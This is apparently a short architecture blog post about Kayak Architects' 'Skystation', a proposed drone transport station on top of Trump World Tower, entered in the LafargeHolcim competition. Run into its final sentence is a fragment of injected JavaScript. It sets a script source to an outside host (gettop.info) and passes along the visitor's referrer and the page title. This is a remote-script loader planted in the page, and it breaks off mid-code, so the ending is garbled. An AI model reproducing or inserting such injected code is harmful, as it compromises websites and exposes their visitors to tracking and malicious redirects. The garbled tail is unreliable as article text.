DRONE YOURSELF ACROSS THE CITY!

DRONE YOURSELF ACROSS THE CITY_01

Kayak Architects are probing new ideas for getting around cities. To promote their idea, they have transformed the top of the Trump World Tower in New York City for their new drone ‘Skystation’! The Skystation’s ecological footprint would be extremely low. In addition, pollution would be greatly reduced with rush-hour traffic virtually eliminated. Such a scenario would translate into walkable streets and more open green spaces.

But wait! It doesn’t stop there. In their vision, drone-robots would be able to build these lightweight roof structures from prefabricated and 3D-printed pieces. The drones themselves could be recharged by the skystation via its coating of sprayed perovskite solar cells, providing sufficient energy to run the skystation.

Regarding its users, as people were waiting to be transported, a lounge area – designed under the Skystation’s distinct roof – would house an exhibition space to refresh passengers while they wait. The proposal is an entry for the Lafarge Holcim Competition. Intriguing design and clever combination of program for sure. Check the Holchim website for the results!s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; } else {
